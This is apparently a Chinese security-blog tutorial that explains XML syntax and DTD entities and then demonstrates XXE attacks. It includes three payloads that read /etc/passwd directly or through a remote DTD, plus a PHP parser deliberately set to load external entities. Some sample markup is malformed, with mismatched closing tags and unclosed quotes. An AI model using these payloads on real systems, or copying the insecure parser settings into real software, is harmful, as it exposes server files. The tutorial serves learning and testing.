XML语法
XML(eXtensible Markup Language),可扩展标记语言,用来定义结构、存储和传输数据,它的设计宗旨时传输数据,而HTML用来表现数据。XML被设计为具有自我描述性,要自己发明标签,没有预定义标签。而HTML只能使用标准中定义的标签。
一个典型的XML文档如下:
<!-- XML声明表述了文档的一些信息-->
<?xml version="1.0" encoding="UTF-8"?>
<!--<site>为根元素,<name>、<url>、<desc>为子元素;
必须有一个根元素,所有元素都可以有子元素;
标签内可以有该元素的属性,属性值必须加引号;
开始标签与结束标签成对出现,且对大小写敏感;
标签内为要传递的信息;
元素中的特殊字符用实体引用代替;
-->
<site>
<name lang="en">hanjiefang</name>
<url>hanjiefang.top</url>
<desc>sec-blog</url>
</site>
XML的用途:
DTD
DTD介绍
DTD(Document Type definition),文档类型定义。被用于定义XML文档的合法构建模块。DTD可被成行地声明于XML文档中,也可以作为一个外部引用。
一个典型的含有DTD的XML文档如下:
<?xml version="1.0" encoding="UTF-8"?>
<!--
当DTD被包含在XML中时,应该通过以下语法包装在一个DOCTYPE声明中
<!DOCTYPE 根元素 [元素声明]>
-->
<!DOCTYPE site [ <!--定义此文档为site类型的文档-->
<!ELEMENT site(name,url,desc)> <!--定义site元素有3个元素-->
<!ELEMENT name (#PCDATA)> <!--定义name元素为"#PCDATA"类型-->
<!ELEMENT url (#PCDATA)>
<!ELEMENT desc (#PCDATA)>
]>
<site>
<name lang="en">hanjiefang</name>
<url>hanjiefang.top</url>
<desc>sec-blog</url>
</site>
一个典型的DTD位于XML源文件外部的文档:
<?xml version="1.0" encoding="UTF-8"?>
<!--
当DTD位于XML文件外部,应当通过如下语法封装在DOCTYPE定义中。
<!DOCTYPE 根元素 SYSTEM "文件名">
-->
<!DOCTYPE site SYSTEM "site.dtd" >
<site>
<name lang="en">hanjiefang</name>
<url>hanjiefang.top</url>
<desc>sec-blog</url>
</site>
<!--site.dtd文件内容-->
<!ELEMENT site(name,url,desc)>
<!ELEMENT name (#PCDATA)>
<!ELEMENT url (#PCDATA)>
<!ELEMENT desc (#PCDATA)>
PCDATA(parsed character data),被解析的字符数据,这些文本将被解析器检查实体以及标记。CDATA(character data)不会被解析器解析的文本。这些文本中的标签不会被当作标记来对待,实体也不会被展开。
DTD元素通过元素声明进行声明
1.声明空元素,通过类别关键字"EMPTY"
<!ELEMENT xxx EMPTY>
2.声明PCDATA元素,通过(#PCDATA)进行声明
<!ELEMENT XXX (#PCDATA)>
3.声明任何可解析数据的组合,使用类别关键词ANY
<!ELEMENT XXX ANY>
4.声明带有一个或多个子元素的元素,通过括号内的子元素名进行声明
<!ELEMENT XXX (a,b,c,d)>
5.声明只出现一次的元素,a必须在XXX中出现且只出现一次
<!ELEMENT XXX (a)>
6.声明至少出现一次的注入,a至少在XXX中出现一次
<!ELEMENT XXX (a+)>
7.声明出现零次或多次的元素
<!ELEMENT XXX (a*)>
8.声明出现零次或一次的元素
<!ELEMENT XXX (a?)>
9.声明"非…即…"的元素
<!ELEMENT XXX (a,b,(c,d))>
DTD实体
实体是用于定义引用普通文本或特殊字符的快捷方式的变量
实体引用是实体的引用
实体可在内部或外部进行声明
<!--内部实体声明-->
<!ENTITY entity-name "entity-value">
<!--实例-->
<!--DTD实例-->
<!ENTITY name "hanjiefang">
<!ENTITY url "hanjiefang.top">
<!--XML实例-->
<site>&name;&url;</site>
<!--一个实体由和号、实体名称、分号三部分组成>
<!--外部实体声明-->
<!ENTITY entity-name SYSTEM "URI/URL">
<!--实例-->
<!--DTD实例-->
<!ENTITY name SYSTEM "http://hanjiefang.top/site.dtd>
<!ENTITY url SYSTEM "http://hanjiefang.top/site.dtd>
<!--XML实例-->
<site>&name;&url;</site>
不同语言支持的协议不同
3种Payload
第一种,若解析成功,会读取etc/passwd内容。这里的实体为通用实体。
<?xml version="1.0"?>
<!DOCTYPE a [<!ENTITY b SYSTEM "file:///etc/passwd" >]>
<x>&b;</x>
第二种。这里的实体名前面有”%”,为参数实体,参数实体只能在dtd中使用,即第三行%d,这里引用了http://hanjiefang.top/xxe.dtd这个文件
<?xml version="1.0"?>
<!DOCTYPE a [<!ENTITY % d SYSTEM "http://hanjiefang.com/xxe.dtd" >
%d;
]>
<x>&xxe;</x>
第三种
<?xml version="1.0"?>
<!DOCTYPE a SYSTEM "http://hanjiefang.com/xxe.dtd">
<x>&xxe;</x>
http://hanjiefang.com/xxe.dtd的内容为:
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
实例
搭建一个未做安全过滤的XML解析服务
<?php
libxml_disable_entity_loader (false); #不禁止外部实体加载
#通过php://input协议获取POST请求数据
#file_get_contents()函数,把整个文件读入一个字符串中,将输入放在xmlfile变量
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
#LINBXML_NOENT将xml中的实体引用替换对应的值
#LIBXML_DTDLOAD:加载DOCTYPE中的DTD文件
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
#simplexml_import_dom() 函数从 DOM 节点返回 SimpleXMLElement 对象
$creds = simplexml_import_dom($dom);
echo $creds;
?>
注入Payload,可以看到成功读取text.txt内容。
xxe123